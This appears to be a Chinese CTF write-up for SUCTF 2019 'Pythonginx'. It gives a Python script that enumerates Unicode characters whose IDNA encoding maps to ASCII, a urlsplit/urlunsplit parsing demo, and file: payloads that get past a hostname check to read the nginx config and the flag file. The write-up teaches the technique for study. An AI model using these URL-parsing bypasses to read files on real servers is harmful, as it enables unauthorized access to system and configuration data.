天天看點

NO.2-21 [SUCTF 2019]Pythonginx*0x01題解

    nginx配置

    配置檔案存放目錄:/etc/nginx

    主配置檔案:/etc/nginx/conf/nginx.conf

    管理腳本:/usr/lib64/systemd/system/nginx.service

    子產品:/usr/lisb64/nginx/modules

    應用程式:/usr/sbin/nginx

    程式預設存放位置:/usr/share/nginx/html

    日志預設存放位置:/var/log/nginx

    配置檔案目錄為:/usr/local/nginx/conf/nginx.conf

ps: 現在nginx網站配置從nginx.conf轉到同目錄檔案夾下的default.config

    urlsplit函數處理問題

    ps:去看大佬文章,我就不累贅了:)

0x01題解

方法一

NO.2-21 [SUCTF 2019]Pythonginx*0x01題解

沒思路,python代碼看的不是很明白,

用腳本跑可用的字元可以學下:

# coding:utf-8 
for i in range(128,65537):    
    tmp=chr(i)    
    try:        
        res = tmp.encode('idna').decode('utf-8')        
        if("-") in res:            
            continue        
        print("U:{}    A:{}      ascii:{} ".format(tmp, res, i))    
    except:        
        pass
           

參考:https://blog.csdn.net/qq_42181428/article/details/99741920

方法二

重點寫下方法二

代碼貼出來,用于測試

from urllib.parse import urlsplit,urlunsplit, unquote
from urllib import parse
# url = "www.baidu.com/index.php?id=1"
# url = "http:www.baidu.com/index.php?id=1"
url = "file:suctf.cc/usr/local/nginx/conf/nginx.conf"
parts = parse.urlsplit(url)
print(parts)

url2 = urlunsplit(parts)
parts2 = parse.urlsplit(url2)

print(parts2)
           

 運作結果:

NO.2-21 [SUCTF 2019]Pythonginx*0x01題解

這道題,首先不能讓他為 suctf.cc,但是經過了 urlunsplit 後變成 suctf.cc,很容易就構造出:file:suctf.cc/usr/local/nginx/conf/nginx.conf,這樣就能讀取檔案了。

NO.2-21 [SUCTF 2019]Pythonginx*0x01題解

讀出配置檔案中有usr/fffffflag

payload:file:suctf.cc/usr/fffffflag在這裡插入圖檔描述

NO.2-21 [SUCTF 2019]Pythonginx*0x01題解